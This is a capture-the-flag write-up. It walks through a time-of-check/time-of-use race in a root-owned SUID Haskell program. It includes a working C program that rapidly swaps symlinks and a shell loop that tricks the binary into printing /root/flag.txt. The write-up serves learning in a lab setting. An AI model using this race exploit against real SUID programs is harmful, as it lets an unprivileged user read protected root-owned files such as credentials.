PreCTF part 5
Once we have access to the webserver, we find a SUID binary owned by root and the source code:
module Main where
import System.Environment (getArgs)
import System.Posix.Types (FileMode)
import System.Posix.Files
import System.IO
hasMode :: FileMode -> FileMode -> Bool
hasMode f1 f2 = intersectFileModes f1 f2 == f1
verifyStat :: FileStatus -> Bool
verifyStat fs = notRootUID && notRootGID && hasMode ownerReadMode fMode
where
notRootUID = fileOwner fs /= 0
notRootGID = fileGroup fs /= 0
fMode = fileMode fs
main :: IO ()
main = do
file <- head <$> getArgs
stat <- getFileStatus file
if verifyStat stat then
readFile file >>= putStrLn
else
hPutStrLn stderr "Not allowed!"
This is a classic TOC/TOU vulnerability, if we pass it a symlink we can change what the symlink points to after the program checks file access, but before reading the file, we can have it read any file. So with a simple program that rapidly exchanges two symlinks:
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <sched.h>
#include <sys/stat.h>
int main() {
close(open("/var/www/html/lol", O_RDWR|O_CREAT, 0777));
symlink("/var/www/html/lol", "/var/www/html/sym");
symlink("/root/flag.txt", "/var/www/html/sym_target");
int fd = open("/var/www/html", O_DIRECTORY | O_RDONLY);
while (1) {
renameat2(fd, "/var/www/html/sym_target", fd, "/var/www/html/sym", RENAME_EXCHANGE);
sched_yield();
renameat2(fd, "/var/www/html/sym", fd, "/var/www/html/sym_target", RENAME_EXCHANGE);
}
}
Then, while running this program at the same time as spamming the SUID program:
while true; do ./gamestonks /var/www/html/sym; done
The flag is eventually printed.